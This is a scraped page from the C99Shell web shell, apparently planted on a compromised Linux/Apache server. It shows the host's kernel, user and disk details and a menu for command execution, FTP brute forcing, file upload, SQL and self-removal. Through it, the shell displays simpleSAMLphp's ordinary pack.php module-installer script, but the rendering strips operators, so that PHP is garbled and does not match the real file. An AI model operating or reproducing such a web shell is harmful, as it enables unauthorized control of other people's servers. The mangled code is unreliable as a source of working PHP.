!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/3ros/simplesamlphp/bin/   drwxr-xr-x
Free 14.54 GB of 61.93 GB (23.47%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     pack.php (1.88 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/env php
<?php

/* This is the base directory of the simpleSAMLphp installation. */
$baseDir dirname(dirname(__FILE__));

/* Add library autoloader. */
require_once($baseDir '/lib/_autoload.php');

if (
count($argv) < 1) {
    echo 
"Wrong number of parameters. Run:   " $argv[0] . " [install,show] url [branch]\n"; exit;
}

// Needed in order to make session_start to be called before output is printed.
$session SimpleSAML_Session::getInstance();
$config SimpleSAML_Configuration::getConfig('config.php');


$action $argv[1];


function 
getModinfo() {
    global 
$argv;
    if (
count($argv) < 2)
        throw new 
Exception('Missing second parameter: URL/ID');
    return 
sspmod_core_ModuleDefinition::load($argv[2]);
}

function 
getBranch() {
    global 
$argv;
    if (isset(
$argv[3])) return $argv[3];
    return 
NULL;
}

switch(
$action) {
    case 
'install':
         
$mod getModinfo();
        
$installer = new sspmod_core_ModuleInstaller($mod);
        
$installer->install(getBranch());
        break;
    
    case 
'remove'
         
$mod getModinfo();
        
$installer = new sspmod_core_ModuleInstaller($mod);
        
$installer->remove(getBranch());
        break;
        
    case 
'upgrade'
         
$mod getModinfo();
        
$installer = new sspmod_core_ModuleInstaller($mod);
        
$installer->upgrade(getBranch());
        break;
    
    case 
'upgrade-all' :
        
$mdir scandir($config->getBaseDir() . 'modules/');
        foreach(
$mdir AS $md) {
            if (!
sspmod_core_ModuleDefinition::validId($md)) continue;
            if (!
sspmod_core_ModuleDefinition::isDefined($md)) continue;
            
$moduledef sspmod_core_ModuleDefinition::load($md'remote');
            
$installer = new sspmod_core_ModuleInstaller($moduledef);
            
            if (
$moduledef->updateExists() || $moduledef->alwaysUpdate()) {
                echo 
"Upgrading [" $md "]\n";
                
$installer->upgrade();                
            } else {
                echo 
"No updates available for [" $md "]\n";
            }
        }
        break;
            
    default: 
        throw new 
Exception('Unknown action [' $action ']');
}





:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.6268 ]--